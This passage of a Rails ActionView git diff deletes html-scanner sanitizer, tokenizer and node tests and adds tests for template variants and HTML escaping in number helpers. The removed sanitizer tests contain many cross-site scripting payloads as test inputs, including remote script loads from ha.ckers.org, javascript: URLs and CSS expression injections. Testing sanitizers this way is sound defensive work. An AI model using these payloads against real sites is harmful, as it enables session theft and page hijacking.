-  def test_should_sanitize_invalid_script_tag
-    assert_sanitized %(<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>), ""
-  end
-
-  def test_should_sanitize_script_tag_with_multiple_open_brackets
-    assert_sanitized %(<<SCRIPT>alert("XSS");//<</SCRIPT>), "&lt;"
-    assert_sanitized %(<iframe src=http://ha.ckers.org/scriptlet.html\n<a), %(&lt;a)
-  end
-
-  def test_should_sanitize_unclosed_script
-    assert_sanitized %(<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>), "<b>"
-  end
-
-  def test_should_sanitize_half_open_scripts
-    assert_sanitized %(<IMG SRC="javascript:alert('XSS')"), "<img>"
-  end
-
-  def test_should_not_fall_for_ridiculous_hack
-    img_hack = %(<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n"\n>)
-    assert_sanitized img_hack, "<img>"
-  end
-
-  def test_should_sanitize_attributes
-    assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="#{CGI.escapeHTML "'><script>alert()</script>"}">blah</span>)
-  end
-
-  def test_should_sanitize_illegal_style_properties
-    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
-    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
-    assert_equal expected, sanitize_css(raw)
-  end
-
-  def test_should_sanitize_with_trailing_space
-    raw = "display:block; "
-    expected = "display: block;"
-    assert_equal expected, sanitize_css(raw)
-  end
-
-  def test_should_sanitize_xul_style_attributes
-    raw = %(-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss'))
-    assert_equal '', sanitize_css(raw)
-  end
-
-  def test_should_sanitize_invalid_tag_names
-    assert_sanitized(%(a b c<script/XSS src="http://ha.ckers.org/xss.js"></script>d e f), "a b cd e f")
-  end
-
-  def test_should_sanitize_non_alpha_and_non_digit_characters_in_tags
-    assert_sanitized('<a onclick!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>foo</a>', "<a>foo</a>")
-  end
-
-  def test_should_sanitize_invalid_tag_names_in_single_tags
-    assert_sanitized('<img/src="http://ha.ckers.org/xss.js"/>', "<img />")
-  end
-
-  def test_should_sanitize_img_dynsrc_lowsrc
-    assert_sanitized(%(<img lowsrc="javascript:alert('XSS')" />), "<img />")
-  end
-
-  def test_should_sanitize_div_background_image_unicode_encoded
-    raw = %(background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029)
-    assert_equal '', sanitize_css(raw)
-  end
-
-  def test_should_sanitize_div_style_expression
-    raw = %(width: expression(alert('XSS'));)
-    assert_equal '', sanitize_css(raw)
-  end
-
-  def test_should_sanitize_across_newlines
-    raw = %(\nwidth:\nexpression(alert('XSS'));\n)
-    assert_equal '', sanitize_css(raw)
-  end
-
-  def test_should_sanitize_img_vbscript
-    assert_sanitized %(<img src='vbscript:msgbox("XSS")' />), '<img />'
-  end
-
-  def test_should_sanitize_cdata_section
-    assert_sanitized "<![CDATA[<span>section</span>]]>", "&lt;![CDATA[&lt;span>section&lt;/span>]]>"
-  end
-
-  def test_should_sanitize_unterminated_cdata_section
-    assert_sanitized "<![CDATA[<span>neverending...", "&lt;![CDATA[&lt;span>neverending...]]>"
-  end
-
-  def test_should_not_mangle_urls_with_ampersand
-     assert_sanitized %{<a href=\"http://www.domain.com?var1=1&amp;var2=2\">my link</a>}
-  end
-
-  def test_should_sanitize_neverending_attribute
-    assert_sanitized "<span class=\"\\", "<span class=\"\\\">"
-  end
-
-  def test_x03a
-    assert_sanitized %(<a href="javascript&#x3a;alert('XSS');">), "<a>"
-    assert_sanitized %(<a href="javascript&#x003a;alert('XSS');">), "<a>"
-    assert_sanitized %(<a href="http&#x3a;//legit">), %(<a href="http://legit">)
-    assert_sanitized %(<a href="javascript&#x3A;alert('XSS');">), "<a>"
-    assert_sanitized %(<a href="javascript&#x003A;alert('XSS');">), "<a>"
-    assert_sanitized %(<a href="http&#x3A;//legit">), %(<a href="http://legit">)
-  end
-
-protected
-  def assert_sanitized(input, expected = nil)
-    @sanitizer ||= HTML::WhiteListSanitizer.new
-    if input
-      assert_dom_equal expected || input, @sanitizer.sanitize(input)
-    else
-      assert_nil @sanitizer.sanitize(input)
-    end
-  end
-
-  def sanitize_css(input)
-    (@sanitizer ||= HTML::WhiteListSanitizer.new).sanitize_css(input)
-  end
-end
diff --git a/actionview/test/template/html-scanner/tag_node_test.rb b/actionview/test/template/html-scanner/tag_node_test.rb
deleted file mode 100644
index a29d2d43d7..0000000000
--- a/actionview/test/template/html-scanner/tag_node_test.rb
+++ /dev/null
@@ -1,243 +0,0 @@
-require 'abstract_unit'
-
-class TagNodeTest < ActiveSupport::TestCase
-  def test_open_without_attributes
-    node = tag("<tag>")
-    assert_equal "tag", node.name
-    assert_equal Hash.new, node.attributes
-    assert_nil node.closing
-  end
-
-  def test_open_with_attributes
-    node = tag("<TAG1 foo=hey_ho x:bar=\"blah blah\" BAZ='blah blah blah' >")
-    assert_equal "tag1", node.name
-    assert_equal "hey_ho", node["foo"]
-    assert_equal "blah blah", node["x:bar"]
-    assert_equal "blah blah blah", node["baz"]
-  end
-
-  def test_self_closing_without_attributes
-    node = tag("<tag/>")
-    assert_equal "tag", node.name
-    assert_equal Hash.new, node.attributes
-    assert_equal :self, node.closing
-  end
-
-  def test_self_closing_with_attributes
-    node = tag("<tag a=b/>")
-    assert_equal "tag", node.name
-    assert_equal( { "a" => "b" }, node.attributes )
-    assert_equal :self, node.closing
-  end
-
-  def test_closing_without_attributes
-    node = tag("</tag>")
-    assert_equal "tag", node.name
-    assert_nil node.attributes
-    assert_equal :close, node.closing
-  end
-
-  def test_bracket_op_when_no_attributes
-    node = tag("</tag>")
-    assert_nil node["foo"]
-  end
-
-  def test_bracket_op_when_attributes
-    node = tag("<tag a=b/>")
-    assert_equal "b", node["a"]
-  end
-
-  def test_attributes_with_escaped_quotes
-    node = tag("<tag a='b\\'c' b=\"bob \\\"float\\\"\">")
-    assert_equal "b\\'c", node["a"]
-    assert_equal "bob \\\"float\\\"", node["b"]
-  end
-
-  def test_to_s
-    node = tag("<a b=c d='f' g=\"h 'i'\" />")
-    node = node.to_s
-    assert node.include?('a')
-    assert node.include?('b="c"')
-    assert node.include?('d="f"')
-    assert node.include?('g="h')
-    assert node.include?('i')
-  end
-
-  def test_tag
-    assert tag("<tag>").tag?
-  end
-
-  def test_match_tag_as_string
-    assert tag("<tag>").match(:tag => "tag")
-    assert !tag("<tag>").match(:tag => "b")
-  end
-
-  def test_match_tag_as_regexp
-    assert tag("<tag>").match(:tag => /t.g/)
-    assert !tag("<tag>").match(:tag => /t[bqs]g/)
-  end
-
-  def test_match_attributes_as_string
-    t = tag("<tag a=something b=else />")
-    assert t.match(:attributes => {"a" => "something"})
-    assert t.match(:attributes => {"b" => "else"})
-  end
-
-  def test_match_attributes_as_regexp
-    t = tag("<tag a=something b=else />")
-    assert t.match(:attributes => {"a" => /^something$/})
-    assert t.match(:attributes => {"b" =>  /e.*e/})
-    assert t.match(:attributes => {"a" => /me..i/, "b" => /.ls.$/})
-  end
-
-  def test_match_attributes_as_number
-    t = tag("<tag a=15 b=3.1415 />")
-    assert t.match(:attributes => {"a" => 15})
-    assert t.match(:attributes => {"b" => 3.1415})
-    assert t.match(:attributes => {"a" => 15, "b" => 3.1415})
-  end
-
-  def test_match_attributes_exist
-    t = tag("<tag a=15 b=3.1415 />")
-    assert t.match(:attributes => {"a" => true})
-    assert t.match(:attributes => {"b" => true})
-    assert t.match(:attributes => {"a" => true, "b" => true})
-  end
-
-  def test_match_attributes_not_exist
-    t = tag("<tag a=15 b=3.1415 />")
-    assert t.match(:attributes => {"c" => false})
-    assert t.match(:attributes => {"c" => nil})
-    assert t.match(:attributes => {"a" => true, "c" => false})
-  end
-
-  def test_match_parent_success
-    t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
-    assert t.match(:parent => {:tag => "foo", :attributes => {"k" => /v.l/, "j" => false}})
-  end
-
-  def test_match_parent_fail
-    t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
-    assert !t.match(:parent => {:tag => /kafka/})
-  end
-
-  def test_match_child_success
-    t = tag("<tag x:k='something'>")
-    tag("<child v=john a=kelly>", t)
-    tag("<sib m=vaughn v=james>", t)
-    assert t.match(:child => { :tag => "sib", :attributes => {"v" => /j/}})
-    assert t.match(:child => { :attributes => {"a" => "kelly"}})
-  end
-
-  def test_match_child_fail
-    t = tag("<tag x:k='something'>")
-    tag("<child v=john a=kelly>", t)
-    tag("<sib m=vaughn v=james>", t)
-    assert !t.match(:child => { :tag => "sib", :attributes => {"v" => /r/}})
-    assert !t.match(:child => { :attributes => {"v" => false}})
-  end
-
-  def test_match_ancestor_success
-    t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
-    assert t.match(:ancestor => {:tag => "parent", :attributes => {"a" => /ll/}})
-    assert t.match(:ancestor => {:attributes => {"m" => "vaughn"}})
-  end
-
-  def test_match_ancestor_fail
-    t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
-    assert !t.match(:ancestor => {:tag => /^parent/, :attributes => {"v" => /m/}})
-    assert !t.match(:ancestor => {:attributes => {"v" => false}})
-  end
-
-  def test_match_descendant_success
-    tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
-    assert t.match(:descendant => {:tag => "child", :attributes => {"a" => /ll/}})
-    assert t.match(:descendant => {:attributes => {"m" => "vaughn"}})
-  end
-
-  def test_match_descendant_fail
-    tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
-    assert !t.match(:descendant => {:tag => /^child/, :attributes => {"v" => /m/}})
-    assert !t.match(:descendant => {:attributes => {"v" => false}})
-  end
-
-  def test_match_child_count
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<child v=john a=kelly>", t)
-    tag("<sib m=vaughn v=james>", t)
-    assert t.match(:children => { :count => 2 })
-    assert t.match(:children => { :count => 2..4 })
-    assert t.match(:children => { :less_than => 4 })
-    assert t.match(:children => { :greater_than => 1 })
-    assert !t.match(:children => { :count => 3 })
-  end
-
-  def test_conditions_as_strings
-    t = tag("<tag x:k='something'>")
-    assert t.match("tag" => "tag")
-    assert t.match("attributes" => { "x:k" => "something" })
-    assert !t.match("tag" => "gat")
-    assert !t.match("attributes" => { "x:j" => "something" })
-  end
-
-  def test_attributes_as_symbols
-    t = tag("<child v=john a=kelly>")
-    assert t.match(:attributes => { :v => /oh/ })
-    assert t.match(:attributes => { :a => /ll/ })
-  end
-
-  def test_match_sibling
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<span a=b>", t)
-    tag("world", t)
-    m = tag("<span k=r>", t)
-    tag("<span m=l>", t)
-
-    assert m.match(:sibling => {:tag => "span", :attributes => {:a => true}})
-    assert m.match(:sibling => {:tag => "span", :attributes => {:m => true}})
-    assert !m.match(:sibling => {:tag => "span", :attributes => {:k => true}})
-  end
-
-  def test_match_sibling_before
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<span a=b>", t)
-    tag("world", t)
-    m = tag("<span k=r>", t)
-    tag("<span m=l>", t)
-
-    assert m.match(:before => {:tag => "span", :attributes => {:m => true}})
-    assert !m.match(:before => {:tag => "span", :attributes => {:a => true}})
-    assert !m.match(:before => {:tag => "span", :attributes => {:k => true}})
-  end
-
-  def test_match_sibling_after
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<span a=b>", t)
-    tag("world", t)
-    m = tag("<span k=r>", t)
-    tag("<span m=l>", t)
-
-    assert m.match(:after => {:tag => "span", :attributes => {:a => true}})
-    assert !m.match(:after => {:tag => "span", :attributes => {:m => true}})
-    assert !m.match(:after => {:tag => "span", :attributes => {:k => true}})
-  end
-
-  def test_tag_to_s
-    t = tag("<b x='foo'>")
-    tag("hello", t)
-    tag("<hr />", t)
-    assert_equal %(<b x="foo">hello<hr /></b>), t.to_s
-  end
-
-  private
-
-    def tag(content, parent=nil)
-      node = HTML::Node.parse(parent,0,0,content)
-      parent.children << node if parent
-      node
-    end
-end
diff --git a/actionview/test/template/html-scanner/text_node_test.rb b/actionview/test/template/html-scanner/text_node_test.rb
deleted file mode 100644
index cbcb9e78f0..0000000000
--- a/actionview/test/template/html-scanner/text_node_test.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'abstract_unit'
-
-class TextNodeTest < ActiveSupport::TestCase
-  def setup
-    @node = HTML::Text.new(nil, 0, 0, "hello, howdy, aloha, annyeong")
-  end
-
-  def test_to_s
-    assert_equal "hello, howdy, aloha, annyeong", @node.to_s
-  end
-
-  def test_find_string
-    assert_equal @node, @node.find("hello, howdy, aloha, annyeong")
-    assert_equal false, @node.find("bogus")
-  end
-
-  def test_find_regexp
-    assert_equal @node, @node.find(/an+y/)
-    assert_nil @node.find(/b/)
-  end
-
-  def test_find_hash
-    assert_equal @node, @node.find(:content => /howdy/)
-    assert_nil @node.find(:content => /^howdy$/)
-    assert_equal false, @node.find(:content => "howdy")
-  end
-
-  def test_find_other
-    assert_nil @node.find(:hello)
-  end
-
-  def test_match_string
-    assert @node.match("hello, howdy, aloha, annyeong")
-    assert_equal false, @node.match("bogus")
-  end
-
-  def test_match_regexp
-    assert_not_nil @node, @node.match(/an+y/)
-    assert_nil @node.match(/b/)
-  end
-
-  def test_match_hash
-    assert_not_nil @node, @node.match(:content => "howdy")
-    assert_nil @node.match(:content => /^howdy$/)
-  end
-
-  def test_match_other
-    assert_nil @node.match(:hello)
-  end
-end
diff --git a/actionview/test/template/html-scanner/tokenizer_test.rb b/actionview/test/template/html-scanner/tokenizer_test.rb
deleted file mode 100644
index 1d59de23b6..0000000000
--- a/actionview/test/template/html-scanner/tokenizer_test.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-require 'abstract_unit'
-
-class TokenizerTest < ActiveSupport::TestCase
-
-  def test_blank
-    tokenize ""
-    assert_end
-  end
-
-  def test_space
-    tokenize " "
-    assert_next " "
-    assert_end
-  end
-
-  def test_tag_simple_open
-    tokenize "<tag>"
-    assert_next "<tag>"
-    assert_end
-  end
-
-  def test_tag_simple_self_closing
-    tokenize "<tag />"
-    assert_next "<tag />"
-    assert_end
-  end
-
-  def test_tag_simple_closing
-    tokenize "</tag>"
-    assert_next "</tag>"
-  end
-
-  def test_tag_with_single_quoted_attribute
-    tokenize %{<tag a='hello'>x}
-    assert_next %{<tag a='hello'>}
-  end
-
-  def test_tag_with_single_quoted_attribute_with_escape
-    tokenize %{<tag a='hello\\''>x}
-    assert_next %{<tag a='hello\\''>}
-  end
-
-  def test_tag_with_double_quoted_attribute
-    tokenize %{<tag a="hello">x}
-    assert_next %{<tag a="hello">}
-  end
-
-  def test_tag_with_double_quoted_attribute_with_escape
-    tokenize %{<tag a="hello\\"">x}
-    assert_next %{<tag a="hello\\"">}
-  end
-
-  def test_tag_with_unquoted_attribute
-    tokenize %{<tag a=hello>x}
-    assert_next %{<tag a=hello>}
-  end
-
-  def test_tag_with_lt_char_in_attribute
-    tokenize %{<tag a="x < y">x}
-    assert_next %{<tag a="x < y">}
-  end
-
-  def test_tag_with_gt_char_in_attribute
-    tokenize %{<tag a="x > y">x}
-    assert_next %{<tag a="x > y">}
-  end
-
-  def test_doctype_tag
-    tokenize %{<!DOCTYPE "blah" "blah" "blah">\n    <html>}
-    assert_next %{<!DOCTYPE "blah" "blah" "blah">}
-    assert_next %{\n    }
-    assert_next %{<html>}
-  end
-
-  def test_cdata_tag
-    tokenize %{<![CDATA[<br>]]>}
-    assert_next %{<![CDATA[<br>]]>}
-    assert_end
-  end
-
-  def test_unterminated_cdata_tag
-    tokenize %{<content:encoded><![CDATA[ neverending...}
-    assert_next %{<content:encoded>}
-    assert_next %{<![CDATA[ neverending...}
-    assert_end
-  end
-
-  def test_less_than_with_space
-    tokenize %{original < hello > world}
-    assert_next %{original }
-    assert_next %{< hello > world}
-  end
-
-  def test_less_than_without_matching_greater_than
-    tokenize %{hello <span onmouseover="gotcha"\n<b>foo</b>\nbar</span>}
-    assert_next %{hello }
-    assert_next %{<span onmouseover="gotcha"\n}
-    assert_next %{<b>}
-    assert_next %{foo}
-    assert_next %{</b>}
-    assert_next %{\nbar}
-    assert_next %{</span>}
-    assert_end
-  end
-
-  def test_unterminated_comment
-    tokenize %{hello <!-- neverending...}
-    assert_next %{hello }
-    assert_next %{<!-- neverending...}
-    assert_end
-  end
-
-  private
-
-    def tokenize(text)
-      @tokenizer = HTML::Tokenizer.new(text)
-    end
-
-    def assert_next(expected, message=nil)
-      token = @tokenizer.next
-      assert_equal expected, token, message
-    end
-
-    def assert_sequence(*expected)
-      assert_next expected.shift until expected.empty?
-    end
-
-    def assert_end(message=nil)
-      assert_nil @tokenizer.next, message
-    end
-end
diff --git a/actionview/test/template/html_test.rb b/actionview/test/template/html_test.rb
new file mode 100644
index 0000000000..549c12c88c
--- /dev/null
+++ b/actionview/test/template/html_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class HTMLTest < ActiveSupport::TestCase
+  test 'formats returns symbol for recognized MIME type' do
+    assert_equal [:html], ActionView::Template::HTML.new('', :html).formats
+  end
+
+  test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+    foo = Mime::Type.lookup("foo")
+    assert_nil foo.to_sym
+    assert_equal ['foo'], ActionView::Template::HTML.new('', foo).formats
+  end
+
+  test 'formats returns string for unknown MIME type' do
+    assert_equal ['foo'], ActionView::Template::HTML.new('', 'foo').formats
+  end
+end
diff --git a/actionview/test/template/javascript_helper_test.rb b/actionview/test/template/javascript_helper_test.rb
index 4703111741..9ba7f64ad1 100644
--- a/actionview/test/template/javascript_helper_test.rb
+++ b/actionview/test/template/javascript_helper_test.rb
@@ -12,14 +12,14 @@ class JavaScriptHelperTest < ActionView::TestCase
     yield if block_given?
   end
 
-  def setup
-    super
+  setup do
+    @old_escape_html_entities_in_json = ActiveSupport.escape_html_entities_in_json
     ActiveSupport.escape_html_entities_in_json  = true
     @template = self
   end
 
   def teardown
-    ActiveSupport.escape_html_entities_in_json  = false
+    ActiveSupport.escape_html_entities_in_json = @old_escape_html_entities_in_json
   end
 
   def test_escape_javascript
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
index 203ad6d910..4f7823045e 100644
--- a/actionview/test/template/lookup_context_test.rb
+++ b/actionview/test/template/lookup_context_test.rb
@@ -36,6 +36,11 @@ class LookupContextTest < ActiveSupport::TestCase
     assert @lookup_context.formats.frozen?
   end
 
+  test "provides getters and setters for variants" do
+    @lookup_context.variants = [:mobile]
+    assert_equal [:mobile], @lookup_context.variants
+  end
+
   test "provides getters and setters for formats" do
     @lookup_context.formats = [:html]
     assert_equal [:html], @lookup_context.formats
@@ -88,6 +93,20 @@ class LookupContextTest < ActiveSupport::TestCase
     assert_equal "Hey verden", template.source
   end
 
+  test "find templates with given variants" do
+    @lookup_context.formats  = [:html]
+    @lookup_context.variants = [:phone]
+
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello phone!", template.source
+
+    @lookup_context.variants = [:phone]
+    @lookup_context.formats  = [:text]
+
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello texty phone!", template.source
+  end
+
   test "found templates respects given formats if one cannot be found from template or handler" do
     ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
     @lookup_context.formats = [:text]
@@ -249,15 +268,15 @@ class TestMissingTemplate < ActiveSupport::TestCase
     e = assert_raise ActionView::MissingTemplate do
       @lookup_context.find("foo", %w(parent child), true)
     end
-    assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+    assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
   end
 
   test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
     e = assert_raise ActionView::MissingTemplate do
-      details = {:handlers=>[], :formats=>[], :locale=>[]}
+      details = {:handlers=>[], :formats=>[], :variants=>[], :locale=>[]}
       @lookup_context.view_paths.find("foo", "parent", true, details)
     end
-    assert_match %r{Missing partial parent/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+    assert_match %r{Missing partial parent/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
   end
 
 end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
index 6e640889d2..b59883b760 100644
--- a/actionview/test/template/number_helper_test.rb
+++ b/actionview/test/template/number_helper_test.rb
@@ -8,21 +8,33 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal "555-1234", number_to_phone(5551234)
     assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
     assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
+    assert_equal "+&lt;script&gt;&lt;/script&gt;8005551212", number_to_phone(8005551212, country_code: "<script></script>", delimiter: "")
+    assert_equal "8005551212 x &lt;script&gt;&lt;/script&gt;", number_to_phone(8005551212, extension: "<script></script>", delimiter: "")
   end
 
   def test_number_to_currency
     assert_equal nil, number_to_currency(nil)
     assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
     assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
-    assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: "K&#269;", format: "%n %u", negative_format: "%n - %u")
+    assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: raw("K&#269;"), format: "%n %u", negative_format: "%n - %u")
+    assert_equal "&amp;pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "&pound;")
+    assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("1234567890.50", format: "<b>%n</b> %u")
+    assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", negative_format: "<b>%n</b> %u")
+    assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", 'negative_format' => "<b>%n</b> %u")
   end
 
   def test_number_to_percentage
     assert_equal nil, number_to_percentage(nil)
     assert_equal "100.000%", number_to_percentage(100)
+    assert_equal "100.000 %", number_to_percentage(100, format: '%n %')
+    assert_equal "&lt;b&gt;100.000&lt;/b&gt; %", number_to_percentage(100, format: '<b>%n</b> %')
+    assert_equal "<b>100.000</b> %", number_to_percentage(100, format: raw('<b>%n</b> %'))
     assert_equal "100%", number_to_percentage(100, precision: 0)
     assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
     assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
+    assert_equal "98a%", number_to_percentage("98a")
+    assert_equal "NaN%", number_to_percentage(Float::NAN)
+    assert_equal "Inf%", number_to_percentage(Float::INFINITY)
   end
 
   def test_number_with_delimiter
@@ -36,6 +48,7 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal "-111.235", number_with_precision(-111.2346)
     assert_equal "111.00", number_with_precision(111, precision: 2)
     assert_equal "0.00100", number_with_precision(0.001, precision: 5)
+    assert_equal "3.33", number_with_precision(Rational(10, 3), precision: 2)
   end
 
   def test_number_to_human_size
@@ -51,6 +64,31 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
   end
 
+  def test_number_to_human_escape_units
+    volume = { unit: "<b>ml</b>", thousand: "<b>lt</b>", million: "<b>m3</b>", trillion: "<b>km3</b>", quadrillion: "<b>Pl</b>" }
+    assert_equal '123 &lt;b&gt;lt&lt;/b&gt;', number_to_human(123456, :units => volume)
+    assert_equal '12 &lt;b&gt;ml&lt;/b&gt;', number_to_human(12, :units => volume)
+    assert_equal '1.23 &lt;b&gt;m3&lt;/b&gt;', number_to_human(1234567, :units => volume)
+    assert_equal '1.23 &lt;b&gt;km3&lt;/b&gt;', number_to_human(1_234_567_000_000, :units => volume)
+    assert_equal '1.23 &lt;b&gt;Pl&lt;/b&gt;', number_to_human(1_234_567_000_000_000, :units => volume)
+
+    #Including fractionals
+    distance = { mili: "<b>mm</b>", centi: "<b>cm</b>", deci: "<b>dm</b>", unit: "<b>m</b>",
+                 ten: "<b>dam</b>", hundred: "<b>hm</b>", thousand: "<b>km</b>",
+                 micro: "<b>um</b>", nano: "<b>nm</b>", pico: "<b>pm</b>", femto: "<b>fm</b>"}
+    assert_equal '1.23 &lt;b&gt;mm&lt;/b&gt;', number_to_human(0.00123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;cm&lt;/b&gt;', number_to_human(0.0123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;dm&lt;/b&gt;', number_to_human(0.123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;m&lt;/b&gt;', number_to_human(1.23, :units => distance)
+    assert_equal '1.23 &lt;b&gt;dam&lt;/b&gt;', number_to_human(12.3, :units => distance)
+    assert_equal '1.23 &lt;b&gt;hm&lt;/b&gt;', number_to_human(123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;km&lt;/b&gt;', number_to_human(1230, :units => distance)
+    assert_equal '1.23 &lt;b&gt;um&lt;/b&gt;', number_to_human(0.00000123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;nm&lt;/b&gt;', number_to_human(0.00000000123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;pm&lt;/b&gt;', number_to_human(0.00000000000123, :units => distance)
+    assert_equal '1.23 &lt;b&gt;fm&lt;/b&gt;', number_to_human(0.00000000000000123, :units => distance)
+  end
+
   def test_number_helpers_escape_delimiter_and_separator
     assert_equal "111&lt;script&gt;&lt;/script&gt;111&lt;script&gt;&lt;/script&gt;1111", number_to_phone(1111111111, delimiter: "<script></script>")
 
@@ -72,6 +110,14 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal "100&lt;script&gt;&lt;/script&gt;000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
   end
 
+  def test_number_to_human_with_custom_translation_scope
+    I18n.backend.store_translations 'ts',
+      :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+    assert_equal "1.01 cm", number_to_human(0.0101, :locale => 'ts', :units => :custom_units_for_number_to_human)
+  ensure
+    I18n.reload!
+  end
+
   def test_number_helpers_outputs_are_html_safe
     assert number_to_human(1).html_safe?
     assert !number_to_human("<script></script>").html_safe?
diff --git a/actionview/test/template/output_buffer_test.rb b/actionview/test/template/output_buffer_test.rb
deleted file mode 100644
index eb0df3d1ab..0000000000
--- a/actionview/test/template/output_buffer_test.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require 'abstract_unit'
-
-class OutputBufferTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    def index
-      render :text => 'foo'
-    end
-  end
-
-  tests TestController
-
-  def setup
-    @vc = @controller.view_context
-    get :index
-    assert_equal ['foo'], body_parts
-  end
-
-  test 'output buffer is nil after rendering' do
-    assert_nil output_buffer
-  end
-
-  test 'flushing ignores nil output buffer' do
-    @controller.view_context.flush_output_buffer
-    assert_nil output_buffer
-    assert_equal ['foo'], body_parts
-  end
-
-  test 'flushing ignores empty output buffer' do
-    @vc.output_buffer = ''
-    @vc.flush_output_buffer
-    assert_equal '', output_buffer
-    assert_equal ['foo'], body_parts
-  end
-
-  test 'flushing appends the output buffer to the body parts' do
-    @vc.output_buffer = 'bar'
-    @vc.flush_output_buffer
-    assert_equal '', output_buffer
-    assert_equal ['foo', 'bar'], body_parts
-  end
-
-  test 'flushing preserves output buffer encoding' do
-    original_buffer = ' '.force_encoding(Encoding::EUC_JP)
-    @vc.output_buffer = original_buffer
-    @vc.flush_output_buffer
-    assert_equal ['foo', original_buffer], body_parts
-    assert_not_equal original_buffer, output_buffer
-    assert_equal Encoding::EUC_JP, output_buffer.encoding
-  end
-
-  protected
-    def output_buffer
-      @vc.output_buffer
-    end
-
-    def body_parts
-      @controller.response.body_parts
-    end
-end
diff --git a/actionview/test/template/output_safety_helper_test.rb b/actionview/test/template/output_safety_helper_test.rb
index 76c71c9e6d..a1bf0e1a5f 100644
--- a/actionview/test/template/output_safety_helper_test.rb
+++ b/actionview/test/template/output_safety_helper_test.rb
@@ -25,4 +25,11 @@ class OutputSafetyHelperTest < ActionView::TestCase
     assert_equal "<p>foo</p><br /><p>bar</p>", joined
   end
 
-end
\ No newline at end of file
+  test "safe_join should work recursively similarly to Array.join" do
+    joined = safe_join(['a',['b','c']], ':')
+    assert_equal 'a:b:c', joined
+
+    joined = safe_join(['"a"',['<b>','<c>']], ' <br/> ')
+    assert_equal '&quot;a&quot; &lt;br/&gt; &lt;b&gt; &lt;br/&gt; &lt;c&gt;', joined
+  end
+end
diff --git a/actionview/test/template/partial_iteration_test.rb b/actionview/test/template/partial_iteration_test.rb
new file mode 100644
index 0000000000..695f9f1bef
--- /dev/null
+++ b/actionview/test/template/partial_iteration_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'action_view/renderer/partial_renderer'
+
+class PartialIterationTest < ActiveSupport::TestCase
+  def test_has_size_and_index
+    iteration = ActionView::PartialIteration.new 3
